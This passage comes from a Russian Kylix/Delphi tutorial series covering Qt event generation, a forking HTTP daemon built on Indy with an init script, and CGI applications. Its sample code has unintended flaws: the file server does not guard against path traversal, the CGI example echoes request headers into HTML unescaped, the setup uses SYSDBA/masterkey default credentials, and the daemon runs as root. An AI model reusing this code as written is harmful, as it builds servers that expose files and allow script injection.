KWord, могут быть источниками текстовых объектов Drag and Drop, но не приемниками. Учтите также, что в настоящее время Drag and Drop в KDE работает не очень стабильно. Работая с демонстрационной программой, вы можете столкнуться с тем, что некоторые другие приложения, использующиеся как источники или приемники объектов Drag and Drop, будут зависать. Это не связано с Kylix, так как при использовании "фирменных" примеров из поставки Qt возникают те же проблемы, по крайней мере на момент написания этой статьи. Генерация событий Qt в программе

Обычно события Qt генерируются системой в ответ на действия пользователя или события в самой системе. Однако, иногда бывает желательно вызвать обработчик события из непосредственно из программы. Для этого необходимо создать объект соответствующего события и передать его методу Qt объекта. CLXDisplay API позволяет сделать это при помощи набора функций QOpenWidget_XXXEvent, определенных для различных типов событий. В следующем небольшом примере создаются объекты событий, при помощи которых в поле ввода визуального компонента Edit1 типа TEdit вводится текст, а затем эмулируется нажатие клавиши BackSpace (код $1003), стирающее последний введенный символ.

var
  KeyEvent: QKeyEventH;
  S: WideString;
  ...
begin
  ...
  S := 'Some little text';
  KeyEvent := QKeyEvent_create(QEventType_KeyPress, 0, 0, 0, @S, False, 0);
  QOpenWidget_keyPressEvent(QOpenWidgetH(Edit1.Handle), KeyEvent);
  QKeyEvent_destroy(KeyEvent);
  KeyEvent := QKeyEvent_create(QEventType_KeyPress, $1003, 0, 0, nil, False, 0);
  QOpenWidget_keyPressEvent(QOpenWidgetH(Edit1.Handle), KeyEvent);
  QKeyEvent_destroy(KeyEvent);
  ...

Рассмотренный в этой статье метод обработки событий - не единственный. В следующей статье будут рассмторены перехватчики событий, а также еще один механизм взаимодействия между объектами Qt - сигналы и слоты.

Kylix - Первые впечатления.

Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Первые впечатления Наверное каждый программист, хотя бы время от времени работающий с Delphi, слышал о том, что Kylix – это Delphi для Linux. Более строго, Kylix – это средство разработки на основе ObjectPascal и VCL для платформы Linux/QT. Данная серия статей предназначена прежде всего для программистов, ранее писавших на Delphi, и желающих теперь освоить программирование для Linux. Я сам пишу программы как на Delphi под Windows, так и на QT под Linux. Надеюсь, мои впечатления и наблюдения покажутся Вам полезными. Первый взгляд на Kylix Разработчики из Borland постарались сделать Kylix максимально похожим на Delphi, и это касается не только языка программирования и структуры VCL. Пользовательский интерфейс Kylix полностью воспроизводит интерфейс своего "старшего брата". Даже диалоги открытия и сохранения файлов практически одинаковы в обеих версиях. У программистов, привыкших к интерфейсу Delphi, работа в Kylix не вызовет проблем. Для тех, кто имеет опыт программирования для Linux, отмечу, что интегрированная среда разработки Kylix отличается стабильностью графического интерфейса, развитым набором функций редактирования текста и прекрасной встроенной справочной системой. Кроме того, Kylix снабжен отличной печатной документацией (на компакт-диске имеются ее электронные версии): руководством по языку ObjectPascal, справочником по библиотеке VCL (Библиотека визуальных компонентов) и руководством для быстрого освоения пакета. Преимущества Kylix – те же, что и у Delphi: ускорение цикла разработки приложений, готовые компоненты для работы с базами данных, Web-интерфейсами и Интернет. К этому следует добавить возможность переноса дополнительных компонентов, написанных для Delphi. Тут надо отдать должное разработчикам: для переноса модулей, написанных исключительно средствами ObjectPascal и VCL, достаточно просто перекомпилировать исходные тексты в новой среде. Естественно, многие компании и программисты, занимающиеся разработкой компонентов для Delphi, уже выпустили их версии и для Kylix. Некоторые из этих компонентов можно найти на втором диске дистрибутива. Немного соли и желчи Традиционными недостатками Delphi считаются медлительность и громоздкость результирующего кода. К сожалению, в этом вопросе Kylix также копирует своего "старшего брата". Для того, чтобы приложение, написанное в Kylix, могло работать отдельно от среды разработки, ему требуются некоторые разделяемые модули времени выполнения (runtime packages). Список модулей, которые могут понадобиться Kylix приложению, а также правила их распространения и установки приводятся в файле DEPLOY, расположенном на первом диске дистрибутива. Размеры самих исполнимых модулей примерно такие же, как и в случае с Delphi, простейшее приложение занимает на диске ~ 400 килобайт. Плюс несколько сотен килобайт дополнительных модулей, которые в Delphi не нужны. Для сравнения: простое приложение, написанное на Delphi без использования модулей SysUtils, Classes, Forms и т. п. (т. е. используя только Windows API) занимает 20-40 килобайт. Такой же размер имеет и аналогичное Linux приложение, написанное на C++ с использованием QT library. Очевидно, что Kylix – не лучший выбор в ситуации, когда компактность кода и быстрота являются критическими параметрами. Все это не умаляет, однако, достоинств Kylix, как средства быстрой разработки приложений для работы с сетью и базами данных, а при использовании большого числа Kylix приложений, удельные расходы на разделяемые модули времени выполнения снижаются.

P.S. Для тех, кто не знает, kylix - это античная винная чаша, обычно покрытая росписью с внешней и с внутренней стороны.

Программирование Интернет приложений в Borland Kylix.

Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Создай своих демонов! В этой статье речь пойдет о создании интернет серверов (сетевых демонов) в Linux при помощи среды разработки Kylix и входящего в нее набора компонентов Internet Direct. В качестве примера описывается разработка простого сервера протокола HTTP. Одной из сильных сторон Delphi и Kylix является возможность быстрой разработки мощных Интернет приложений. С этой целью в состав обеих сред включены наборы готовых компонентов для работы с Интернет. В Delphi 6 и Kylix 1.0 эту функцию выполняет Internet Direct component suite ( Indy ). Indy представляет собой набор классов Object Pascal (существует также версия для Borland C++ Builder) для работы с Интернет. Одни классы, такие как TIdTCPConnection, предоставляют базовые функции для низкоуровневой работы с сервисами Интернет, другие классы, такие как TIdHTTPServer, являются готовыми Интернет серверами или клиентами со встроенной поддержкой всех основных функций соответствующих сетевых протоколов. К достоинствам Indy следует отнести качественный механизм многопоточности (multi-threading), доступный как в Windows, так и в Linux версии. Еще одним достоинством Indy является доступность исходных текстов всех компонентов набора. Indy распространяется под двойным лицензированием, что позволяет создавать на его базе как открытые, так и коммерческие приложения. Создать простейший Интернет сервер для Windows в Delphi 6 достаточно легко: бросаем в окно формы соответствующий компонент, назначаем пару обработчиков событий и voila: сервер готов! В Linux все выглядит лишь немного сложнее. Демоны Linux Большинство сетевых серверов Linux реализованы в виде демонов. Так, например, популярный web-сервер Apache, это демон протокола HTTP (httpd). Демон (daemon, demon) - это программа, выполняющаяся в фоновом режиме и настроенная на обработку определенного класса событий. После запуска демон находится в состоянии ожидания события. Когда в системе происходит соответствующее событие, демон активизируется и выполняет необходимые действия по его обработке. Важной особенностью демонов является возможность параллельной обработки нескольких событий. Демоны бывают не только сетевыми. Например печатью в Linux управляет демон печати, а записью сообщений в log-файлы - log-демон (logd). Сетевой демон находится в состоянии ожидания запроса на соединение. Когда такой запрос поступает, демон либо устанавливает соединение и выполняет обработку запроса, либо отказывается установить соединение. Сразу отмечу, что программа-сервер Интернет вовсе не обязательно должна быть демоном. В следующих статьях этой серии мы напишем сервер, обладающий полноценным графическим интерфейсом. Однако, если Вы хотите, чтобы Ваш сервер запускался вместе с операционной системой и выполнялся вне зависимости от того, кто из пользователей работает в системе в данный момент, реализация сервера в форме демона представляется наилучшим вариантом. Демон, это консольное приложение, выполняющееся в фоновом режиме. Фоновым режимом (background mode) называется такой режим работы программы, в котором приложение не взаимодействует с терминалом. После запуска демон должен переходить в фоновый режим автоматически. Орудие демона - функция fork

Прежде чем приступить к программированию демона, следует рассмотреть подробнее функцию fork, которая играет в работе демонов важную роль. В Kylix функция fork объявлена в модуле Libc. Объявление функции выглядит следующим образом:

function fork: __pid_t; cdecl;
Статьи по Delphi (011)… Функция fork создает новый процесс, являющийся точной копией того процесса, из которого она была вызвана. Выполнение нового процесса начинается с точки возврата функции fork. Таким образом после успешного вызова функция fork возвращает значения уже двум процессам. Новый процесс работает так, как если бы он выполнялся с самого начала, вызвал функцию fork и получил ее значение. Оба процесса принадлежат к одной и той же группе и разделяют открытые дескрипторы файлов. Отличить дочерний процесс от родительского можно по значению, возвращаемому функцией fork. Родительскому процессу fork возвращает pid созданного дочернего процесса, тогда как дочернему процессу возвращается значение 0. Рисунок справа иллюстрирует работу функции fork. Функция fork (в переводе с английского - вилы, вилка) широко используется при программировании демонов. Вот почему демон, изображенный на эмблеме FreeBSD, держит вилы в руках. Структура демона Как было указано выше, демон должен быть консольным приложением. В окне New Items (Вызывается командой File|New...) на вкладке New выбираем элемент Console Application. Открывается окно с заготовкой файла проекта консольного приложения. Этот файл будет содержать все основные элементы создаваемого демона. Обычно имя исполняемого файла демона заканчивается на букву d (htppd, ftpd, crond). Назовем создаваемый проект dhttpd.

Наша первая задача - перевести запущенный демон в фоновый режим. Для этого при помощи fork создается копия процесса демона, а выполнение исходного процесса завершается:

pid := fork;
if pid = -1 then // fork failed
begin
  perror(PChar('fork 1: '));
  Halt(1);
end
else if pid <> 0 then
  Halt(0); // parent process exits
...

Здесь pid - глобальная переменная типа Integer. Если при вызове функции fork произошла ошибка, функция возвращает значение -1, и приложение должно завершиться. После удачного вызова функции fork родительскому процессу возвращается pid дочернего процесса, не равный нулю. Родительский процесс завершает работу, а дочерний продолжает выполняться. После завершения родительского процесса контроль над терминалом возвращается запустившей его программе (оболочке), а новый процесс, созданный функцией fork, выполняется в фоновом режиме. Однако наш процесс все еще принадлежит той же группе, что и создавший его процесс. Для того чтобы демон стал полностью независим от запустившего его терминала, новый процесс следует поместить в новую группу, а самый простой способ сделать это - создать новую сессию. (Подробнее о сессиях и группах процессов можно прочесть в [3].) Новая сессия создается вызовом функции setsid:

pid := setsid;
if pid = -1 then // setsid failed
begin
  perror(PChar('setsid: '));
  Halt(1);
end;
...

Далее мы закрываем стандартный поток ввода и перенаправляем потоки вывода на /dev/null (это необходимо сделать, так как некоторые функции могут использовать стандартные потоки для вывода служебной информации).

Close(Input); // closing stdin
AssignFile(Output, '/dev/null');
Rewrite(Output);
AssignFile(ErrOutput, '/dev/null');
Rewrite(ErrOutput);
...

Теперь процесс выполняется в режиме демона. Сохраним pid процесса в файле dhttpd.pid в каталоге /var/run (зачем это нужно объясняется ниже). Следует отметить, что демон должен запускаться в режиме, предоставляющем полный доступ к ресурсам компьютера, т. е. в режиме root или в ходе загрузки операционной системы. Это необходимо не только для получения доступа к таким каталогам, как /var/run, но и для работы с сокетами, что является основной функцией создаваемого нами приложения.

AssignFile(F, '/var/run/dhttpd.pid');
Rewrite(F);
pid := getpid;
WriteLn(F, pid);
CloseFile(F);
...
Здесь F - переменная типа Text. Нам еще необходимо организовать обработку сигналов. Сигналы Linux (их не следует путать с сигналами Qt library) очень похожи на прерывания MS-DOS. Фактически сигналы основаны на программных прерываниях. Когда процессу Linux посылается сигнал, для которого установлен обработчик, выполнение процесса прерывается и вызывается процедура обработчика сигнала. По окончании выполнения обработчика основной процесс возобновляется с той точки, в которой он был прерван, если, конечно, обработчик сигнала не завершил процесс. В Linux процессу предоставлены широкие возможности по управлению обработкой большинства сигналов: Процесс может блокировать сигналы, игнорировать сигналы, назначать свои обработчики сигналов или использовать обработчики, назначенные системой по умолчанию. Характерной особенностью сигналов Linux является асинхронность. Это означает, что незаблокированный сигнал может прервать выполнение программы в любой точке. Данный факт нужно учитывать при написании обработчиков сигналов. Сигналы Linux и их обработка подробно описаны в [3]. Существует два основных подхода к обработке сигналов Linux: первый подход заключается в том, что все действия по обработке сигнала выполняются в процедуре обработчика. При втором подходе обработчик сигнала лишь изменяет значения некоторых глобальных переменных-флажков. Основной процесс периодически проверяет состояние флажков и в случае их изменения выполняет операции, связанные с соответствующим сигналом. Этот подход позволяет синхронизировать обработку сигналов с выполнением других элементов программы.

При программировании нашего демона мы пойдем по второму пути. В программе объявляется глобальная переменная SigNum типа Integer, а в качестве обработчика сигналов служит процедура TranslateSig:

procedure TranslateSig(sig: Integer); cdecl;
begin
  SigNum := sig;
end;

Функция TranslateSig просто присваевает переменной SigNum номер полученного сигнала. В создаваемом демоне мы ограничемся обработкой сигналов SIGTERM и SIGHUP. Связываем обработчик TranslateSig с этими сигналами:

signal(SIGTERM, @TranslateSig); 
signal(SIGHUP, @TranslateSig); 

Теперь следует задать цикл обработки сигналов. Можно просто проверять значение SigNum в бесконечном цикле, однако есть более изящный и менее ресурсоемкий способ - функция sigsuspend. В качестве единственного параметра этой функции передается маска сигналов - переменная типа __sigset_t. Функция sigsuspend приостанавливает выполнение вызвавшего ее потока до тех пор, пока не поступит один из сигналов, не включенных в маску. В этом случае, если обработчик сигнала не завершает процесс, функция sigsuspend возвращает управление. В следующем фрагменте выполняется установка маски (переменная SigSet) и организуется цикл обработки сигналов с использованием функции sigsuspend:

sigfillset(SigSet);
sigdelset(SigSet, SIGTERM);
sigdelset(SigSet, SIGHUP);
SigNum := 0;
while SigNum <> SIGTERM do
begin
  sigsuspend(SigSet);
  if SigNum = SIGHUP then
  begin
    ...
      pid := fork;
    if pid <> 0 then
      Break; // old process exits
    ...
  end;
end;
Обратите внимание на то, как обрабатывается сигнал SIGHUP. В ответ на сигнал демон создает новую копию процесса (при помощи функции fork), а старый процесс завершается. Именно ради обработки сигнала SIGHUP организован цикл while do. Полный листинг файла dhttpd.dpr приводится в конце статьи. В программу добавлена обработка опций командной строки. Принцип обработки опций командной строки очень прост: новый процесс читает значение, записанное в файл /var/run/dhttpd.pid, с помощью функции kill посылает ранее запущенному процессу соответствующий сигнал и затем завершается. В нашем примере не рассмотрена еще одна функция демона - ведение log-файлов. Большинство сетевых демонов записывают данные о транзакциях и о своей работе в специальные файлы. Каждое приложение ведет свой log-файл. Обычно log-файлы хранятся в директории /var/log/. Разумеется, каждое приложение может само создавать и поддерживать такие файлы, однако в Linux существует централизованный механизм ведения log-файлов - демон logd. Главное преимущество использования демона logd заключается в том, что logd скрывает детали процесса ведения log-файлов от приложения. Такие параметры, как физическое размещение файлов, задаются в процессе конфигурации демона logd и не влияют на работу приложения, записывающего логи. Например, демон logd может быть сконфигурирован таким образом, что запись log-файлов будет производиться на удаленный компьютер. Система Linux предоставляет приложениям простой интерфейс для работы с демоном logd. Основные операции выполняются при помощи трех функций: Функция openlog открывает log-файл, closelog - закрывает файл, syslog выполняет запись. Остальное - Indy Наша программа теперь обладает всеми атрибутами демона, но она все еще не выполняет никакой полезной работы. Программирование сетевых демонов - непростая задача. Классические демоны Unix используют дочерние процессы для параллельной обработки соединений. На практике, для ускорения работы приложения-демона, часто применяются более сложные схемы, включающие предварительное создание процессов. Подробности можно найти в [2]. В нашем распоряжении, однако, есть компоненты Indy, предоставляющие самый эффективный механизм параллельной обработки соединений - многопоточность. Для того, чтобы при помощи Indy создать Web сервер, обладающий основными функциями по работе с HTTP, нам потребуется создать объект класса TIdHTTPServer (этот класс определен в модуле IdHTTPServer) и назначить обработчик события OnCommandGet. В создаваемом нами приложении все объекты для работы с Web определены в модуле WebServ, полный текст которого приводится в конце статьи. Константа HTTPDocsDir содержит путь к каталогу, в котором хранятся HTTP файлы. В Linux Mandrake это /var/www/html. Все операции по работе с протоколом HTTP выполняет объект WebServer класса TWebSerever. Экземпляр TWebSerever создается в начале работы демона и уничтожается при завершении процесса. Для того, чтобы наш сервер не конфликтовал со стандартным Web сервером, мы присвоим ему порт 8800. Разбирать здесь подробно работу с компонентами Indy мы не будем, так как во-первых это уже не имеет непосредственного отношения к программированию демонов, а во-вторых детали работы компонента IdHTTPServer исчерпывающе описаны в справочной системе по Indy и прилагающихся примерах.

Теперь можно проверить работу демона. Скомпилировав проект даем в режиме root команду:

# dhttpd 
Командная строка тут же снова появляется на экране. Так и должно быть, ведь демон сразу переходит в фоновый режим. Для того, чтобы убедиться в том, что демон работает, откроем броузер и введем в строке адреса: http://localhost:8800/ (префикс http:// следует указывать потому, что порт 8800 не является стандартным портом протокола HTTP). В окне броузера должна появиться страница index.html из каталога, заданного в константе HTTPDocsDir. Если каталог HTTPDocsDir содержит несколько файлов и подкаталогов, можно проверить, как выполняется навигация. При этом следует учесть, что корневому каталогу Web-пространства соответствует каталог HTTPDocsDir. Если значение этой константы - /var/www/html, то URL http://localhost:8800/foo/bar.html будет соответствовать путь /var/www/html/foo/bar.html. Работа демона может быть завершена командой dhttpd -stop, а для перезапуска ранее запущенного демона служит команда dhttpd -restart. "Вселение демона" в систему Опции командной строки позволяют нам запускать и останавливать демон в ручном режиме, однако обычно демоны запускаются автоматически в ходе загрузки операционной системы. В таких системах, как Red Hat или Mandrake самый простой способ обеспечить автоматический запуск демона заключается в создании скрипта SysV Init. Скрипты SysV Init можно рассматривать как некий аналог файла autoexec.bat в системе MS-DOS. Скрипты - это исполнимые файлы, написанные на языке сценариев оболочки (shell script language). Для каждого демона создается свой файл скрипта, имя которого обычно совпадает с именем демона. В конце этой статьи приводится скрипт dhttpd, служащий для запуска демона dhttpd. В Red Hat и Mandrake скрипт dhttpd следует скопировать в каталог /etc/rc.d/init.d/ (не забудьте придать скрипту статус исполнимого файла). Но это еще не все. Каталог /etc/rc.d/ содержит несколько подкаталогов rcX.d, где X - число от 1 до 6, соответствующее уровню, на котором работает система. Каждый из этих каталогов содержит символические ссылки на файлы скриптов, которые следует выполнять при запуске системы на соответствующем уровне. Вы должны создать символические ссылки на скрипт dhttpd в каталогах rcX.d, соответствующих уровням, в которых должен запускаться демон (ссылки можно разместить во всех каталогах). Имя ссылки на скрипт должно соответствовать шаблону SXXname, где XX двузначное число, указывающее очередность запуска программы, а name - любая последовательность символов, обычно соответствующая имени файла скрипта. Например, для скрипта dhttpd имя ссылки может иметь следующий вид: S95dhttpd. Сам исполнимый файл демона, который также имеет имя dhttpd, можно разместить в каталоге /usr/sbin/.

Если все сделано правильно, то при следующем запуске системы, в конце списка сообщений, сопровождающих процесс загрузки, можно будет увидеть сообщение о запуске демона dhttpd. Убедиться в том, что демон работает, можно, как и в предыдущем случае, введя в строке адреса броузера URL "http://localhost:8800/".

program dhttpd;
{$APPTYPE CONSOLE}
uses
  Libc, SysUtils, WebServ;
var
  F: Text;
  SigSet: __sigset_t;
  SigNum: Integer;
  pid: Integer;
  // Signal handler function
procedure TranslateSig(sig: Integer); cdecl;
begin
  SigNum := sig;
end;
begin
  // Processing command line arguments
  if ParamCount > 0 then
  begin
    if ParamCount = 1 then
    begin
      SigNum := 0;
      if ParamStr(1) = '-stop' then
        SigNum := SIGTERM
      else if ParamStr(1) = '-restart' then
        SigNum := SIGHUP;
      if SigNum <> 0 then
      begin
        if FileExists('/var/run/dhttpd.pid') then
        begin
          AssignFile(F, '/var/run/dhttpd.pid');
          Reset(F);
          Read(F, pid);
          CloseFile(F);
          if kill(pid, SigNum) = 0 then
            Halt(0);
        end;
        WriteLn('dhttpd : cannot do ' + ParamStr(1) + '. Maybe the daemon is not running?' );
          Halt(0);
      end;
    end;
    WriteLn('Use dhttpd -stop to stop the daemon or dhttpd -restart to restart it.');
    Halt(0);
  end;
  // Daemon initialization code
  pid := fork;
  if pid = -1 then // fork failed
  begin
    perror(PChar('fork 1: '));
    Halt(1);
  end
  else if pid <> 0 then
    Halt(0); // parent process exits
  pid := setsid;
  if pid = -1 then // setsid failed
  begin
    perror(PChar('setsid: '));
    Halt(1);
  end;
  Close(Input); // closing stdin
  AssignFile(Output, '/dev/null');
  Rewrite(Output);
  AssignFile(ErrOutput, '/dev/null');
  Rewrite(ErrOutput);
  // Now process runs in the daemon mode
  WebServer := TWebServer.Create; // Creating server object
  AssignFile(F, '/var/run/dhttpd.pid');
  Rewrite(F);
  pid := getpid;
  WriteLn(F, pid);
  CloseFile(F);
  signal(SIGTERM, @TranslateSig);
  signal(SIGHUP, @TranslateSig);
  sigfillset(SigSet);
  sigdelset(SigSet, SIGTERM);
  sigdelset(SigSet, SIGHUP);
  SigNum := 0;
  while SigNum <> SIGTERM do
  begin
    sigsuspend(SigSet);
    WebServer.Free;
    if SigNum = SIGHUP then // Restarting
    begin
      pid := fork;
      if pid = -1 then
        Halt(1);
      if pid <> 0 then
        Break; // old process exits
      // Now we are in the new child process
      WebServer := TWebServer.Create;
      AssignFile(F, '/var/run/dhttpd.pid');
      Rewrite(F);
      pid := getpid;
      WriteLn(F, pid);
      CloseFile(F);
    end;
  end;
end.
unit WebServ;
interface
uses
  IdBaseComponent, IdComponent,
  IdTCPServer, IdHTTPServer, SysUtils;
type
  TWebServer = class(TObject)
    IndyHTTP: TIdHTTPServer;
  private
    procedure HTTPCommandGet(AThread: TIdPeerThread;
      RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
  public
    constructor Create;
    destructor Destroy; override;
  end;
const
  HTTPDocsDir = '/var/www/html';
var
  WebServer: TWebServer;
implementation
// TWebServer methods
constructor TWebServer.Create;
begin
  inherited Create;
  IndyHTTP := TIDHTTPServer.Create(nil);
  with IndyHTTP do
  begin
    ServerSoftware := 'DAEMONstration Web server. (c) 2001 Andrei Borovsky';
    OnCommandGet := HTTPCommandGet;
    TerminateWaitTime := 5000;
    DefaultPort := 8800;
    // Activate the Server
    Active := True;
  end;
end;
destructor TWebServer.Destroy;
begin
  IndyHTTP.Free;
  inherited Destroy;
end;
procedure TWebServer.HTTPCommandGet;
var
  FName: string;
begin
  FName := HTTPDocsDir + RequestInfo.Document;
  if FName[Length(FName)] = '/' then
    FName := FName + 'index.html'
  else if DirectoryExists(FName + '/') then
  begin
    // Redirecting directory without a trailing slash
    ResponseInfo.Redirect(RequestInfo.Document + '/');
    Exit;
  end;
  if FileExists(FName) then
  begin
    // Serving content
    IndyHTTP.ServeFile(AThread, ResponseInfo, FName);
    Exit;
  end;
  // Requested URL not found
  ResponseInfo.ResponseNo := 404;
  ResponseInfo.ResponseText := 'Requested URL not found';
  ResponseInfo.ContentText := 'Error 404 - ' + ResponseInfo.ResponseText;
  ResponseInfo.WriteHeader;
  ResponseInfo.WriteContent;
end;
end.

Скрипт dhttpd

#!/bin/sh 
# 
# SysV Init script for DAEMONstration Web server (dhttpd) 
# 
# pidfile: /var/run/dhttpd.pid 
# 
# Source function library. 
. /etc/rc.d/init.d/functions 
case $1 in 
    start) 
    echo -n "Starting dhttpd" 
    daemon dhttpd 
    echo 
    touch /var/lock/subsys/dhttpd 
    ;; 
    stop) 
    echo -n "Shutting down dhttpd" 
    killproc dhttpd   
    echo 
    rm -f /var/lock/subsys/dhttpd 
    rm -f /var/run/dhttpd.pid 
    ;; 
    restart) 
    $0 stop 
    $0 start 
    ;; 
    reload) 
    echo -n "Reloading dhttpd:" 
    killproc dhttpd -HUP 
    echo 
    ;; 
    *) 
    echo "Usage: $(basename $0) start|stop|restart|reload" 
    exit 1 
esac 
exit 0

Литература.

Griffin I, Nelson J (1998). Linux Network Programming, Part 1, Linux Journal, #46 February 1998 Griffin I, Nelson J (1998). Linux Network Programming, Part 2, Linux Journal, #47 March 1998 GLIBC Manual

Программирование Интернет приложений в Borland Kylix 2.

Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Разработка приложений для Web-сервера Эта статья продолжает серию, посвященную программированию Интернет-приложений в Borland Kylix. На этот раз речь пойдет о CGI-приложениях и модулях сервера Apache. CGI-приложения

Изначально протокол HTTP создавался для передачи по Сети документов в формате HTML и сопутствующей им графики, однако Web-броузеры оказались настолько удобны, что всемирная паутина очень быстро начала обрастать различными дополнительными функциями. Весьма заманчиво выглядит возможность использовать броузер клиента в качестве интерфейса для взаимодействия с удаленным приложением. Такое взаимодействие, разумеется, требует наличия механизма передачи команд и данных от клиента серверу. Для стандартизации механизма передачи команд клиента серверу был разработан стандарт CGI. В общих чертах работа CGI выглядит следующим образом: клиент загружает HTML страницу, содержащую форму и посылает серверу определенный в форме запрос (request), в котором указано.

Статьи по Delphi (011)…

Действие (action) и список параметров. Действие представляет собой указатель на CGI-приложение, которое должно выполнить запрос. Например действие /cgi-bin/frenchwines указывает на приложение frenchwines. Для одного приложения можно определить несколько действий, которые идентифицируются как отдельные сетевые ресурсы: /cgi-bin/frenchwines, /cgi-bin/frenchwines/, /cgi-bin/frenchwines/welcome – это разные действия приложения frenchwines. Список параметров представляет собой перечень имен параметров и их значений. Если HTML форма использует для передачи параметров метод GET, список параметров можно увидеть в адресной строке броузера после идентификатора ресурса (он отделен от идентификатора символом '?'). С точки зрения протокола HTTP CGI-запрос является командой на загрузку некоторого ресурса. В ответ на запрос сервер обычно посылает клиенту HTML документ, который как правило является динамической страницей, т. е. не хранится на диске в виде файла, а генерируется приложением. CGI–функции могут быть реализованы на сервере в двух вариантах: в форме CGI-сценариев (CGI scripts) и в виде CGI приложений. CGI приложения представляют собой исполнимые модули, вызываемые Web-сервером. Схема взаимодействия между броузером, сервером и CGI-модулем приводится на рисунке. По своей структуре CGI приложение является обычной консольной программой. Сервер передает данные CGI приложению через переменные окружения и стандартный поток ввода, а CGI приложение передает данные серверу через свой стандартный поток вывода. Сервер запускает новую копию приложения для обработки каждого запроса. По окончании обработки запроса CGI-приложение завершается. Далее следует пример простейшего CGI приложения, написанного в Borland Kylix. Этот пример не использует специальные средства разработки CGI приложений, входящие в состав Kylix. Модуль Libc используется для того, чтобы сделать приложение более компактным. В принципе нам было бы достаточно одного модуля SysUtils.

program simplecgi;
{$APPTYPE CONSOLE}
uses
  Libc;
var
  Method: PChar;
  Query: string;
begin
  Method := getenv('REQUEST_METHOD');
  if Method = nil then
  begin
    WriteLn('Error : no request method');
    Halt(0);
  end;
  WriteLn('Content-Type: text/html');
  WriteLn;
  Write('<HTML><HEAD><TITLE>Simple CGI Application</TITLE><BODY>');
  Write('<H2>This page was generated on the fly by the CGI application</H2>');
  Write('<P>You have sent data by ', string(Method), ' method</P>');
  Write('<P>The user agent is "', string(getenv('HTTP_USER_AGENT')), '"</P>');
  Write('<P>The HTTP_REFERER variable is "', string(getenv('HTTP_REFERER')),
    '"</P>');
  if Method = 'GET' then
    Write('<P>The query string is "', string(getenv('QUERY_STRING')), '"</P>')
  else
  begin
    Write('<P>The content length is ', string(getenv('CONTENT_LENGTH')),
      '</P>');
    Read(Query);
    Write('<P>The query string is "', Query, '"</P>')
  end;
  Write('</BODY></HTML>');
end.
Для того, чтобы проверить работу примера, скомпилируйте проект simplecgi.dpr (исходный текст лежит здесь) и скопируйте полученный исполнимый файл в каталог CGI-приложений Web-сервера. В Linux Mandrake этим каталогом по умолчанию является /var/www/cgi-bin/ (естественно, сам Web-сервер должен быть установлен и запущен в вашей системе). Затем откройте в броузере страницу TestCGI.html. Страница TestCGI содержит две формы для передачи параметров приложению. Одна форма использует для передачи данных метод GET, другая – метод POST. Кроме возможности создания CGI-приложений "с нуля", Borland Kylix располагает весьма удобными специальными средствами разработки приложений для Web-сервера. Kylix может создать для вас "заготовку" CGI-приложения. В окне New выберите элемент Web Server Application и в открывшемся диалоговом окне – пункт CGI standalone executable. В качестве примера такого приложения мы рассмотрим программу, реализующую Web-интерфейс к базе данных Borland Interbase. Для компиляции и выполнения этого примера вам понадобится сервер баз данных Interbase (входит в комплект поставки Kylix SDE). Перед началом работы с примером Web-интерфейса базы данных, убедитесь, что серверы Web и Interbase установлены и нормально работают.

Приложение-пример (исходный текст лежит здесь) называется fenchwines и представляет собой Web-интерфейс к базе данных французских вин. (Напомню, что "Kylix" в переводе означает "винная чаша", так что "винная" тематика вполне соответствует рассматриваемому продукту. Для правильной компиляции и запуска демонстрационного приложения необходимо выполнить следующее: скачайте архив с базой данных, распакуйте его, скопируйте файл vina.gdb в какой-нибудь каталог. В корневом каталоге http документов вашего сервера (часто это /var/www/html) создайте каталог wdb и скопируйте в него файлы wctempl.html и barrels.jpg из архива приложения. Теперь откройте приложение в среде Kylix. При помощи менеджера проекта откройте окно Web-модуля, которое связано с модулем main. В окне Web-модуля щелкните правой кнопкой мыши по компоненту SQLConnection1 и в открывшемся меню выберите пункт Edit Connection Properties. В открывшемся диалоговом окне создайте новое соединение. В качестве драйвера базы данных выберите INTERBASE. В поле Database задайте абсолютный путь к файлу vina.gdb. Убедитесь, что поля Password и User_Name содержат значения masterkey и SYSDBA соответственно. Свойство Connection компонента SQLConnection1 должно указывать на новое соединение. Далее отредактируйте свойство HTMLFile компонента PageProducer1 так, чтобы оно содержало полный путь к файлу wctempl.html. Скомпилируйте приложение frenchwines и скопируйте исполнимый файл в каталог CGI-приложений (cgi-bin). Для того, чтобы проверить работу нашего приложения в окне броузера наберите http://localhost/cgi-bin/frenchwines. При этом в окне броузера появится приветственная HTML-страница. Форма на странице позволяет выбирать вина из базы данных по происхождению и категории. Для того, чтобы отобразить все вина, содержащиеся в базе, необходимо ввести "any" в обоих полях формы. Структура CGI-приложения очень похожа на структуру обычного приложения Kylix. Вместо объекта TApplication в Web-приложении используется объект TWebApplication, а роль класса TForm выполняет класс TWebModule. Потомок класса TWebModule является владельцем всех компонентов, используемых в Web-приложении и ему же принадлежат методы обработки событий.

Статьи по Delphi (011)… Окно компонента TWebModule с дочерними компонентами

Важнейшим элементом TWebModule является список действий Actions. В этом списке хранятся объекты TWebActionItem, определяющие действия приложения. Свойство PathInfo объекта TWebActionItem позволяет задать идентификатор действия. Если свойство PathInfo содержит пустую строку, идентификатором данного действия является само имя CGI-приложения. В других случаях идентификатор действия должен предваряться символом "/". В следующей таблице показаны примеры значений PathInfo и соответствующие им действия для приложения frenchwines, расположенного в директории /cgi-bin/. Значение PathInfo Действие "" /cgi-bin/frenchwines "/" /cgi-bin/frenchwines/ "/welcome" /cgi-bin/frenchwines/welcome /error /cgi-bin/frenchwines/error Список Actions можно заполнить в процессе разработки приложения при помощи редактора списка. Для того, чтобы открыть окно редактора нужно в окне инспектора объектов щелкнуть по кнопке с многоточием в поле свойства Actions. Свойство MethodType объекта TWebActionItem позволяет указать метод передачи параметров для данного действия. Метод, указанный в свойстве MethodType должен соответствовать методу, указанному в тэге FORM HTML страницы, генерирующей запрос. Значение mtAny позволяет действию обрабатывать любые запросы. Для объекта TWebActionItem определено единственное событие – OnAction. Когда Web-сервер получает CGI-запрос, он запускает соответствующее CGI-приложение и передает ему всю необходимую информацию. В Kylix-приложении диспетчер запросов определяет, какому действию адресован запрос, и вызывает обработчик события OnAction этого действия. После выполнения обработчика OnAction приложение завершается. Заголовок обработчика выглядит следующим образом:

type
  THTTPMethodEvent = procedure(Sender: TObject; Request: TWebRequest; Response:
    TWebResponse; var Handled: Boolean) of object;

